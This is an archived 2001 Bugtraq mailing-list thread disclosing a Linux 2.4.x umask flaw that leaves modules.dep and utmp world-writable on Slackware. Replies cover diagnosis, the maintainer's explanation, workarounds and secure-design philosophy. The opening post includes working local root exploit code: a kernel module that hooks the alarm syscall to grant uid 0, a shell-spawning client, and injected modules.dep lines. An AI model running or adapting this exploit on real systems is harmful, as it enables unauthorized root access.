6754309 2001-07-16 09:53 -0500 /97 rader/ <josh@pulltheplug.com>
Sänt av: joel@lysator.liu.se
Importerad: 2001-07-16 20:57 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <18003>
Kommentar till text 6736403 av <zen-parse@gmx.net>
Ärende: 2.4.x/Slackware Init script vulnerability
------------------------------------------------------------
From: <josh@pulltheplug.com>
To: <bugtraq@securityfocus.com>
Message-ID: <Pine.LNX.4.33.0107160942220.11998-100000@shell.pulltheplug.com>
I posted this to the linux kernel mailing last Friday, July 13th 2001:
Submitted by : Josh (josh@pulltheplug.com), lockdown
(lockdown@lockeddown.net) on July 16th, 2001
Vulnerability : /lib/modules/2.4.5/modules.dep
Tested On : Slackware 8.0. 2.4.5
Local : Yes
Remote : No
Temporary Fix : umask 022 at the top of all your startup scripts
Target : root
Big thanks to : slider, lamagra, zen-parse
Greets to : alpha, fr3n3tic, omega, eazyass, remmy, RedPen, banned-it,
cryptix, s0ttle, xphantom, qtip, tirancy, Loki,
falcon-networks.com.
The 2.4.x kernels starting with 2.4.3 (i think) have, after
load, left a umask of 0000. This forces any files created in the
bootup scripts, without the command `umask 022` issued to be world
writeable. In slackware, files include /var/run/utmp and
/var/run/gpm.pid. This same vulnerability is responsible for
creating /lib/modules/`uname -r`/modules.dep world writeable. With
this file world writeable, all an intruder need do is put something
like the following in /lib/modules/`uname -r`/modules.dep assuming
the system's startup scripts modprobe lp:
/lib/modules/2.4.5/kernel/drivers/char/lp.o: /tmp/alarm.o
/tmp/alarm.o:
where the alarm.o module is:
#include <linux/config.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/types.h>
#include <asm/segment.h>
#include <asm/unistd.h>
#include <linux/dirent.h>
#include <sys/syscall.h>
#include <sys/sysmacros.h>
#include <linux/sched.h>
#include <linux/errno.h>
#include <linux/fs.h>
#include <linux/kernel.h>
extern void* sys_call_table[];
unsigned int (*old_alarm) (unsigned int seconds);
unsigned int hacked_alarm (unsigned int seconds);
unsigned int hacked_alarm(unsigned int seconds)
{
if(seconds == 454) {
current->uid = 0;
current->euid = 0;
current->gid = 0;
current->egid = 0;
return 0;
}
return old_alarm(seconds);
}
int init_module(void) {
old_alarm=sys_call_table[SYS_alarm];
sys_call_table[SYS_alarm] = hacked_alarm;
return 0;
}
void cleanup_module(void) {
sys_call_table[SYS_alarm] = old_alarm;
}
make a client:
#include <stdio.h>
#include <unistd.h>
int main(void)
{
alarm(454);
execl("/bin/sh", "sh", NULL);
}
which will, when the module is loaded, execute a shell as root.
And of course with /var/run/utmp writeable, users can delete
or in other ways manipulate their logins as they appear in
w/who/finger/getlogin(), etc.
(6754309) / <josh@pulltheplug.com>/-------(Ombruten)
Kommentar i text 6761650 av Derek Martin <ddm@pizzashack.org>
Kommentar i text 6765242 av twiz - Perla Enrico <twi@boiate.it>
6761650 2001-07-17 16:32 -0400 /97 rader/ Derek Martin <ddm@pizzashack.org>
Sänt av: joel@lysator.liu.se
Importerad: 2001-07-18 00:42 av Brevbäraren
Extern mottagare: josh@pulltheplug.com
Extern kopiemottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <18057>
Kommentar till text 6754309 av <josh@pulltheplug.com>
Ärende: Re: 2.4.x/Slackware Init script vulnerability
------------------------------------------------------------
On Mon, Jul 16, 2001 at 09:53:01AM -0500, josh@pulltheplug.com wrote:
> I posted this to the linux kernel mailing last Friday, July 13th 2001:
>
> Submitted by : Josh (josh@pulltheplug.com), lockdown
> (lockdown@lockeddown.net) on July 16th, 2001
> Vulnerability : /lib/modules/2.4.5/modules.dep
> Tested On : Slackware 8.0. 2.4.5
> Local : Yes
> Remote : No
> Temporary Fix : umask 022 at the top of all your startup scripts
> Target : root
> Big thanks to : slider, lamagra, zen-parse
> Greets to : alpha, fr3n3tic, omega, eazyass, remmy, RedPen, banned-it,
> cryptix, s0ttle, xphantom, qtip, tirancy, Loki,
> falcon-networks.com.
>
> The 2.4.x kernels starting with 2.4.3 (i think) have, after
> load, left a umask of 0000. This forces any files created in the bootup
> scripts, without the command `umask 022` issued to be world writeable.
> In slackware, files include /var/run/utmp and /var/run/gpm.pid. This same
> vulnerability is responsible for creating /lib/modules/`uname -r`/modules.dep
> world writeable. With this file world writeable, all an intruder need do is
> put something like the following in /lib/modules/`uname -r`/modules.dep
> assuming the system's startup scripts modprobe lp:
I messed around with this on a Red Hat 6.2 system (with
modifications), by DELETING the existing
/lib/modules/`uname -r`/module* files and rebooting,
and got the following results:
[ddm@sol ddm]
$ modprobe -V
modprobe version 2.4.3
modprobe: Nothing to load ???
Specify at least a module or a wildcard like \*
[ddm@sol ddm]
$ uname -r
2.4.5
[ddm@sol ddm]
$ cat /etc/redhat-release
Red Hat Linux release 6.2 (Zoot)
[ddm@sol ddm]
$ ls -l /lib/modules/`uname -r`
total 44
lrwxrwxrwx 1 root root 20 Jun 30 09:17 build -> /usr/local/src/linux/
drwxrwxr-x 5 root root 1024 Jun 30 09:17 kernel/
-rw-rw-rw- 1 root root 6778 Jul 17 08:17 modules.dep
-rw-rw-rw- 1 root root 31 Jul 17 08:17 modules.generic_string
-rw-rw-rw- 1 root root 519 Jul 17 08:17 modules.isapnpmap
-rw-rw-rw- 1 root root 29 Jul 17 08:17 modules.parportmap
-rw-rw-rw- 1 root root 10683 Jul 17 08:17 modules.pcimap
-rw-rw-rw- 1 root root 18801 Jul 17 08:17 modules.usbmap
drwxrwxr-x 2 root root 1024 Jun 30 09:17 pcmcia/
drwxr-xr-x 2 root root 1024 Jun 30 09:37 video/
I also did the same thing on a Red Hat 7.1 system, with modutils 2.4.2
(as shipped by Red Hat), and linux 2.4.5 (pristine), and the modules.*
files were recreated with permissions 0644 upon reboot, so it seems
not to be limited to just Slackware, but also not a universal problem.
Since it did not happen on RH 7.1 with modutils 2.4.2, it may be that
the problem is actually in modutils 2.4.3 (and later, probably), and
not in earlier modutils. I think this is probably not really a kernel
issue, per se.
After finding these results on my RH 6.2 system, I changed the
permissions on the modules.* files from 0666 to 0644 and rebooted
again, and the 0644 permissions were retained when depmod -a ran from
/etc/rc.d/rc.sysinit (which makes sense).
I would think that modutils should set the creation mode to 0644 when
creating these files. I would also think that as a security measure,
modutils should verify that these files (or at least modules.dep) are
not world-writable (and probably also not group writable) BEFORE
loading modules as a result of listed dependencies... I'm not really
sure that the kernel itself should automatically set a restrictive
umask, as I would think it should be up to user-space programs to
decide that; but it probably doesn't matter much either way.
As a work-around for this problem (at least on Red Hat 6.2), you can
chmod the files manually (assuming they already exist with the wrong
permissions), and set the umask to 022 in /etc/rc.d/rc.sysinit. That
should be the only place you really need to set the umask. Or, if you
really want to make sure this is your system default (i.e. that all
start-up scripts run with this UMASK value), you should be able to set
the umask in /etc/initscript (I haven't tried it).
--
---------------------------------------------------
Derek Martin | Unix/Linux geek
ddm@pizzashack.org | GnuPG Key ID: 0x81CFE75D
Retrieve my public key at http://pgp.mit.edu
(6761650) /Derek Martin <ddm@pizzashack.org>/-------
Bilaga (application/pgp-signature) i text 6761651
Kommentar i text 6765530 av Keith Owens <kaos@ocs.com.au>
6761651 2001-07-17 16:32 -0400 /10 rader/ Derek Martin <ddm@pizzashack.org>
Importerad: 2001-07-18 00:42 av Brevbäraren
Extern mottagare: josh@pulltheplug.com
Extern kopiemottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <18058>
Bilaga (text/plain) till text 6761650
Ärende: Bilaga till: Re: 2.4.x/Slackware Init script vulnerability
------------------------------------------------------------
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org
iEYEARECAAYFAjtUoMMACgkQdjdlQoHP512DGgCeJe98u/6esCRuO7Zbdz8TM5IB
aNEAni7hcSTxF5FBOH0TELZHvh+ry55e
=D3Te
-----END PGP SIGNATURE-----
(6761651) /Derek Martin <ddm@pizzashack.org>/-------
6765530 2001-07-18 09:59 +1000 /63 rader/ Keith Owens <kaos@ocs.com.au>
Sänt av: joel@lysator.liu.se
Importerad: 2001-07-18 18:50 av Brevbäraren
Extern mottagare: Derek Martin <ddm@pizzashack.org>
Extern kopiemottagare: josh@pulltheplug.com
Extern kopiemottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <18076>
Kommentar till text 6761650 av Derek Martin <ddm@pizzashack.org>
Ärende: Re: 2.4.x/Slackware Init script vulnerability
------------------------------------------------------------
From: Keith Owens <kaos@ocs.com.au>
To: Derek Martin <ddm@pizzashack.org>
Cc: josh@pulltheplug.com, bugtraq@securityfocus.com
Message-ID: <11817.995414383@kao2.melbourne.sgi.com>
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Content-Type: text/plain; charset=us-ascii
On Tue, 17 Jul 2001 16:32:07 -0400,
Derek Martin <ddm@pizzashack.org> wrote:
>I also did the same thing on a Red Hat 7.1 system, with modutils 2.4.2
>(as shipped by Red Hat), and linux 2.4.5 (pristine), and the modules.*
>files were recreated with permissions 0644 upon reboot, so it seems
>not to be limited to just Slackware, but also not a universal problem.
>Since it did not happen on RH 7.1 with modutils 2.4.2, it may be that
>the problem is actually in modutils 2.4.3 (and later, probably), and
>not in earlier modutils. I think this is probably not really a kernel
>issue, per se.
None of the above. A change to the kernel in 2.4.3-pre5 or -pre6
caused all kernel thread programs to run with umask 0, including init.
Newer Redhat rc.sysinit sets the umask instead of trusting the kernel
value, older Redhat and current Slackware trust the kernel. modutils
trust umask.
>I would think that modutils should set the creation mode to 0644 when
>creating these files. I would also think that as a security measure,
>modutils should verify that these files (or at least modules.dep) are
>not world-writable (and probably also not group writable) BEFORE
>loading modules as a result of listed dependencies...
When programs should force security settings and when they should
trust the umask is a policy question. Users on development systems
deliberately create modules.dep as 666 and allow modules to be owned
as other than root so modutils allows this. In this case I decided
that the policy setting should come from the user via umask, instead
of being forced by the programs. If root's umask is 000 then lots of
programs are insecure, should all of those programs be changed to
ignore umask?
>I'm not really
>sure that the kernel itself should automatically set a restrictive
>umask, as I would think it should be up to user-space programs to
>decide that; but it probably doesn't matter much either way.
The kernel normally mimics the default umask for shells, 022. The
change from 022 to 000 was incorrect and will be backed out in the
next kernel release.
Keith Owens, modutils maintainer.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.3 (GNU/Linux)
Comment: Exmh version 2.1.1 10/15/1999
iD8DBQE7VNFui4UHNye0ZOoRAubSAJ9NnJnZ9QoyFKs3cXDS4ys/di5QCACg5KEX
3NjShKKQqwm3mMRlACkUFes=
=q86Y
-----END PGP SIGNATURE-----
(6765530) /Keith Owens <kaos@ocs.com.au>/-(Ombruten)
Kommentar i text 6765459 av Derek Martin <ddm@pizzashack.org>
6765459 2001-07-17 22:22 -0400 /154 rader/ Derek Martin <ddm@pizzashack.org>
Sänt av: joel@lysator.liu.se
Importerad: 2001-07-18 18:32 av Brevbäraren
Extern mottagare: Keith Owens <kaos@ocs.com.au>
Extern kopiemottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <18069>
Kommentar till text 6765530 av Keith Owens <kaos@ocs.com.au>
Sänt: 2001-07-18 18:50
Ärende: secure software philosophy (was Re: 2.4.x/Slackware Init script vulnerability)
------------------------------------------------------------
Keith, thanks for your comments. I found them quite informative and
helpful in understanding this issue. I think that everyone on this
list would agree that system security is an important topic, and one
that will continue to increase in importance as more and more systems
are connected to the Internet, and more aspects of our daily lives are
carried out on the Internet. I would like to share some thoughts and
opinions on your response as they pertain to modutils, and to software
development in general, which I hope you and the community will find
useful or thought-provoking, even if you don't agree with everything I
say here.
On Wed, Jul 18, 2001 at 09:59:43AM +1000, Keith Owens wrote:
> >I would think that modutils should set the creation mode to 0644 when
> >creating these files. I would also think that as a security measure,
> >modutils should verify that these files (or at least modules.dep) are
> >not world-writable (and probably also not group writable) BEFORE
> >loading modules as a result of listed dependencies...
>
> When programs should force security settings and when they should trust
> the umask is a policy question.
I agree with this statement; but I think it warrants further
consideration. I'm a system administrator, and by the nature of my
job I have a different philosophy about how things should be
configured than software/OS developers typically do. The sysadmin
generally leans toward security, and the developer leans toward ease
of use (openness). Neither philosophy is wrong, they're just
different; and each should be used when it is appropriate. For the
most part, most of these two groups knows how to configure their
system for what they want, or at least is technical enough to go about
figuring out how...
But there also is a growing third group of people emerging as Linux
users: the average Joe. There are many reasons why people are moving
to Linux today, not the least of which is Microsoft's renowned buggy
and/or insecure code, and the fact that Linux advocates keep saying
that Linux is more reliable and more secure than Windows (which I
agree with based on my own experience). Whether or not that's
actually true or provable, that's what people are saying, and it's
bringing the non-technical computer user into the Linux forefront.
These people have no idea what information assurance/network security
is, never mind how to configure their systems for it. These people
have no idea what they're getting themselves into when they install a
Linux system (using the average distribution's standard installs) and
connecting it up to the Internet. Odds are these days that they'll be
hacked within a week, and probably less. Because of the potential
seriousness of the consequences of having your systems and data
compromised, and because of the negative impact going through this
experience can have on users new to Linux (or experienced ones for
that matter), I think that for the good of the entire Linux community,
the development community ought to make security a priority.
In other words, yes, developers will want to do things that would put
most other Linux users at risk; HOWEVER, while I think it should be
possible for them to do those things, I also think it should be HARDER
to configure your system to be less secure than it should be to have
it configured reletively securely for every day use. (I'm
deliberately trying to avoid absolutes because, as we all know, in
practice there is no such thing as a completely secure machine -- at
least not one that's usable by anyone -- and improving security
negatively impacts convenience and usability. A balance must be
struck somehow. I'll dance around that a little more below.)
That is to say, you should have to make a deliberate effort to reduce
the security of your machine, if you need to do so for development or
whatever other reason... Or said another way, if a particular
software package (or the kernel itself) can be used in a way which is
known to open up your system to root compromises, that should NOT be
the default: the program which is capable of this should not assume
anything about the environment it runs in (like umask) if incorrect
assumtions result in a root compromise or other unauthorized elevated
priviledge. I might go so far as to say it should assume the
worst-case scenario (e.g. for this case, that the umask will always be
000), in order to prevent .
> Users on development systems deliberately create modules.dep as 666
> and allow modules to be owned as other than root so modutils allows
> this. In this case I decided that the policy setting should come
> from the user via umask, instead of being forced by the programs.
At least on my "broken" Red Hat 6.2 system, you can still do this if
modutils creates the files 0644. Except you must do it explicitly.
If you chmod the files to 0666, they will retain those permissions
(assuming the given distribution doesn't go out of it's way to remove
the modules.* files) after subsequent reboots. But the burden to make
the system less secure, and the responsibility for the consequences,
has been placed on the user/administrator, where I think it belongs.
> If root's umask is 000 then lots of programs are insecure, should
> all of those programs be changed to ignore umask?
First, you're not ignoring umask. You're simply defining a minimum
set of permissions that the file(s) should have by default. I think
this is reasonable to do. Maybe you can make it a compile-time
option... In any case, you could set root's umask to 077, and the
files would then be created 0600 (ignoring whether or not this would
break things)... As to whether or not you want your processes to use
pre-defined minimum permissions, my answer would be a qualified "YES!"
The qualification is that it should only be done in cases where a) it
will not make the software unusable, and b) not doing it can easily
result in an elevation of priviledges of a regular user, where the
only mitigating factor is the environment of a given process, about
which I think you must not make assumptions.
This particular case is a good example of what I mean: a root
compromise is possible if the distribution maintainer(s) or the system
administrators forget/overlook/fail to see the need to set the umask
"properly" to avoid the problem. An operating system is complex; with
all the software that comes with your average Linux distribution --
written by a wide variety of individuals with (usually) no particular
holistic design philosophy, such as a proprietary OS (ostensibly) has
-- I should think that putting together such a beast is even more
complex than designing a proprietary OS would be. It should be
expected that the people who build distributions WILL overlook these
little details, as it happens all the time, as this case illustrates.
If you, as the software developer -- the guy (or gal) who knows the
code better than anyone else -- can prevent this from happening,
without actually preventing those who NEED to open up the system from
being able to do so, then I think it's in your best interest and the
interest of the community as a whole that you do so. Some might even
argue you have a duty to do so. Exactly that is argued about
Microsoft all the time, often by the Linux development community
itself.
I'm disinclined to say you have that duty. I think that Linux
developers largely write software to suit their needs, and have no
responsibility to anyone to do anything they don't want to. You are
giving your work away for free, after all...
On the other hand, I do think that all of us who develop software
which we intend for others to use, especially in networked
environments and especially on the Internet, do have some
responsibility to make every effort to ensure that our software does
not cause the systems and data of its user to become compromised,
unavailable, or damaged. I sincerely hope that everyone writing
software will take that responsibility seriously; as our society
becomes more dependent upon the Internet and network-connected
technologies, it also becomes more vulnerable to careless and insecure
coding practices, and we all play a part in that.
Thanks.
--
---------------------------------------------------
Derek Martin | Unix/Linux geek
ddm@pizzashack.org | GnuPG Key ID: 0x81CFE75D
Retrieve my public key at http://pgp.mit.edu
(6765459) /Derek Martin <ddm@pizzashack.org>/-------
Bilaga (application/pgp-signature) i text 6765460
6765460 2001-07-17 22:22 -0400 /10 rader/ Derek Martin <ddm@pizzashack.org>
Importerad: 2001-07-18 18:32 av Brevbäraren
Extern mottagare: Keith Owens <kaos@ocs.com.au>
Extern kopiemottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <18070>
Bilaga (text/plain) till text 6765459
Ärende: Bilaga till: secure software philosophy (was Re: 2.4.x/Slackware Init script vulnerability)
------------------------------------------------------------
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org
iEYEARECAAYFAjtU8ucACgkQdjdlQoHP5127ugCdHGrOhw12eaIFvxJztscfXidY
210AoLUMYWCHgqx46grByZdBKRYN60Rd
=oBVT
-----END PGP SIGNATURE-----
(6765460) /Derek Martin <ddm@pizzashack.org>/-------
6765242 2001-07-18 00:42 +0200 /37 rader/ twiz - Perla Enrico <twi@boiate.it>
Sänt av: joel@lysator.liu.se
Importerad: 2001-07-18 17:54 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <18067>
Kommentar till text 6754309 av <josh@pulltheplug.com>
Ärende: Re: 2.4.x/Slackware Init script vulnerability
------------------------------------------------------------
From: twiz - Perla Enrico <twi@boiate.it>
To: bugtraq@securityfocus.com
Message-ID: <Pine.LNX.4.20.0107180041490.251-100000@twisterz.twz>
I' ve tested it on Slackware 7.0 with kernel 2.4.5 :
twisterz:~# uname -r
2.4.5
twisterz:~#
I' ve noticed that , while /var/run/utmp *is* world writable :
twisterz:~# ls -l /var/run/utmp
-rw-rw-rw- 1 root root 4608 Jul 17 02:27 /var/run/utmp
twisterz:~#
and also /var/run/gpm.pid is -rw-rw-rw-, *but* modules.dep isn' t writable
twisterz:~# ls -l /lib/modules/`uname -r`/modules.dep
-rw-r--r-- 1 root root 2688 Jul 16 19:36
/lib/modules/2.4.5/modules.dep
twisterz:~#
So it can't be edited, and the exploit can' t work 'cause you can't
add/change lines to modules.dep. I'm going to download Slackware 8.0
and test on it, btw on slak 7.0 keep good the possibility of, as you
said :
>
> And of course with /var/run/utmp writeable, users can delete or
in
> other ways manipulate their logins as they appear in
> w/who/finger/getlogin(), etc.
>
twiz - twiz@superdotati.net or twi@boiate.it - ./twlc
(6765242) /twiz - Perla Enrico <twi@boiate.it>/(Ombruten)
Kommentar i text 6770346 av Radu-Adrian Feurdean <raf@chez.com>
Kommentar i text 6770493 av twiz - Perla Enrico <twi@boiate.it>
Kommentar i text 6770511 av Jeev <geonap@pacbell.net>
6770346 2001-07-19 10:37 +0200 /40 rader/ Radu-Adrian Feurdean <raf@chez.com>
Sänt av: joel@lysator.liu.se
Importerad: 2001-07-19 18:53 av Brevbäraren
Extern mottagare: twiz - Perla Enrico <twi@boiate.it>
Extern kopiemottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <18115>
Kommentar till text 6765242 av twiz - Perla Enrico <twi@boiate.it>
Ärende: Re: 2.4.x/Slackware Init script vulnerability
------------------------------------------------------------
From: Radu-Adrian Feurdean <raf@chez.com>
To: twiz - Perla Enrico <twi@boiate.it>
Cc: bugtraq@securityfocus.com
Message-ID: <Pine.LNX.4.21.0107191034060.8807-100000@WormHole.Intra.ZEHC.Net>
On Wed, 18 Jul 2001, twiz - Perla Enrico wrote:
> I' ve tested it on Slackware 7.0 with kernel 2.4.5 :
> twisterz:~# uname -r
> 2.4.5
> twisterz:~#
>
> I' ve noticed that , while /var/run/utmp *is* world writable :
> twisterz:~# ls -l /var/run/utmp
> -rw-rw-rw- 1 root root 4608 Jul 17 02:27 /var/run/utmp
> twisterz:~#
> and also /var/run/gpm.pid is -rw-rw-rw-, *but* modules.dep isn' t writable
>
> twisterz:~# ls -l /lib/modules/`uname -r`/modules.dep
> -rw-r--r-- 1 root root 2688 Jul 16 19:36
> /lib/modules/2.4.5/modules.dep
> twisterz:~#
>
> So it can't be edited, and the exploit can' t work 'cause you can't
> add/change lines to modules.dep.
> I'm going to download Slackware 8.0 and test on it, btw on slak 7.0 keep
> good the possibility of, as you said :
The modules.dep file is 0666 only when using the slackware
prepackaged kernel. If you ever recompile and install your own
kernel, modules.dep file is created by make modules_install, that
runs with the umask of your shell session, and is not recreated at
boot time unless you add new modules to /lib/modules/`uname -r`/
Radu-Adrian Feurdean
mailto: raf@chez.com
------------------------------------------------------------
Teamwork is essential - it allows you to blame someone else.
(6770346) /Radu-Adrian Feurdean <raf@chez.com>/(Ombruten)
6770493 2001-07-19 01:50 +0200 /29 rader/ twiz - Perla Enrico <twi@boiate.it>
Sänt av: joel@lysator.liu.se
Importerad: 2001-07-19 19:42 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <18128>
Kommentar till text 6765242 av twiz - Perla Enrico <twi@boiate.it>
Ärende: Re: 2.4.x/Slackware Init script vulnerability
------------------------------------------------------------
From: twiz - Perla Enrico <twi@boiate.it>
To: bugtraq@securityfocus.com
Message-ID: <Pine.LNX.4.20.0107190133030.239-100000@twisterz.twz>
As Josh make me notice i' m partial in error. The problem was that
i' ve installed kernel 2.4.5 on my box after (Slakware 7.0 come with
kernel 2.2.13) , so I gave make modules_install at the end of the
compilation :
if [ -r System.map ]; then /sbin/depmod -ae -F System.map 2.4.5; fi
At the end depmod -a is called and it creates modules.dep, and it
gives "-rw-r--r--" permissions. The Slakware startup script calls
depmod -a, but modules.dep isn't erased before, but just "updated",
so it keeps "-rw-r--r--" permissions. I' ve tried erasing
modules.dep and then rebooting and modules.dep, this time beeing
created, has , as Josh, said "-rw-rw-rw" permissions.
So in the end this exploit will work only if the kernel hasn't benn
recompiled with make modules_install (or depmod -a called otherwise
not at the startup) of if modules.dep is erased before "depmod
-a" at the startup (Slakware 7.0 init script doesn' t do that, so it
is not vulnerable :) )
I' m sorry for my partially erroneus post
twiz - twiz@superdotati.net or twi@boiate.it - ./twlc
(6770493) /twiz - Perla Enrico <twi@boiate.it>/(Ombruten)
6770511 2001-07-18 23:59 -0700 /63 rader/ Jeev <geonap@pacbell.net>
Sänt av: joel@lysator.liu.se
Importerad: 2001-07-19 19:46 av Brevbäraren
Extern mottagare: 'twiz - Perla Enrico' <twi@boiate.it>
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <18129>
Kommentar till text 6765242 av twiz - Perla Enrico <twi@boiate.it>
Ärende: RE: 2.4.x/Slackware Init script vulnerability
------------------------------------------------------------
From: Jeev <geonap@pacbell.net>
To: 'twiz - Perla Enrico' <twi@boiate.it>, bugtraq@securityfocus.com
Message-ID: <000301c11020$67cb9e40$0100a8c0@mainframe>
root@buttmunch:~# ls -l /lib/modules/`uname -r`/modules.dep
-rw-r--r-- 1 root root 49902 Jun 16 20:26
/lib/modules/2.2.19/modules.dep
root@buttmunch:~# uname -a
Linux buttmunch 2.2.19 #5 Sat Jun 16 20:13:44 PDT 2001 i686 unknown
root@buttmunch:~#
^ linux slackware 8.0
root@thunder:~# ls -l /lib/modules/`uname -r`/modules.dep
-rw-rw-rw- 1 root root 4327 Jul 12 19:49
/lib/modules/2.4.5/modules.dep
root@thunder:~# uname -a
Linux thunder 2.4.5 #1 SMP Thu Jul 12 19:45:50 MST 2001 i686 unknown
root@thunder:~#
^ linux slackware 8.0
j
-----Original Message-----
From: twiz - Perla Enrico [mailto:twi@boiate.it]
Sent: Tuesday, July 17, 2001 3:43 PM
To: bugtraq@securityfocus.com
Subject: Re: 2.4.x/Slackware Init script vulnerability
I' ve tested it on Slackware 7.0 with kernel 2.4.5 :
twisterz:~# uname -r
2.4.5
twisterz:~#
I' ve noticed that , while /var/run/utmp *is* world writable :
twisterz:~# ls -l /var/run/utmp
-rw-rw-rw- 1 root root 4608 Jul 17 02:27 /var/run/utmp
twisterz:~#
and also /var/run/gpm.pid is -rw-rw-rw-, *but* modules.dep isn' t
writable
twisterz:~# ls -l /lib/modules/`uname -r`/modules.dep
-rw-r--r-- 1 root root 2688 Jul 16 19:36
/lib/modules/2.4.5/modules.dep
twisterz:~#
So it can't be edited, and the exploit can' t work 'cause you can't
add/change lines to modules.dep. I'm going to download Slackware 8.0
and test on it, btw on slak 7.0 keep good the possibility of, as you
said :
>
> And of course with /var/run/utmp writeable, users can delete
or
in
> other ways manipulate their logins as they appear in
> w/who/finger/getlogin(), etc.
>
twiz - twiz@superdotati.net or twi@boiate.it - ./twlc
(6770511) /Jeev <geonap@pacbell.net>/-----(Ombruten)
6756227 2001-07-16 21:33 -0500 /48 rader/ <josh@pulltheplug.com>
Sänt av: joel@lysator.liu.se
Importerad: 2001-07-17 07:54 av Brevbäraren
Extern mottagare: Toby Corkindale <tjcorkin@sa.pracom.com.au>
Extern kopiemottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <18022>
Ärende: Re: 2.4.x/Slackware Init script vulnerability
------------------------------------------------------------
From: <josh@pulltheplug.com>
To: Toby Corkindale <tjcorkin@sa.pracom.com.au>
Cc: <bugtraq@securityfocus.com>
Message-ID: <Pine.LNX.4.33.0107162130280.16220-100000@shell.pulltheplug.com>
# lsmod
Module Size Used by
chmod 656 0 (unused)
pcmcia_core 41792 0
ppp_deflate 39008 0 (unused)
ppp_async 6864 0 (unused)
ppp_generic 19280 0 [ppp_deflate ppp_async]
slip 8416 0 (unused)
parport_pc 19312 0
parport 23776 0 [parport_pc]
# ls -l chmod.o
-rw-r--r-- 1 josh users 1488 Jul 17 08:28 chmod.o
# modprobe lp
# lsmod
Module Size Used by
lp 6096 0 (unused)
chmod 656 0 (unused)
pcmcia_core 41792 0
ppp_deflate 39008 0 (unused)
ppp_async 6864 0 (unused)
ppp_generic 19280 0 [ppp_deflate ppp_async]
slip 8416 0 (unused)
parport_pc 19312 1
parport 23776 1 [lp parport_pc]
#
Lines in /lib/modules/`uname -r`/modules.dep:
/lib/modules/2.4.5/kernel/drivers/char/lp.o: /tmp/chmod.o
/tmp/chmod.o:
My Modprobe version:
# modprobe -V
modprobe version 2.4.6
modprobe: Nothing to load ???
Specify at least a module or a wildcard like \*
#
(6756227) / <josh@pulltheplug.com>/-----------------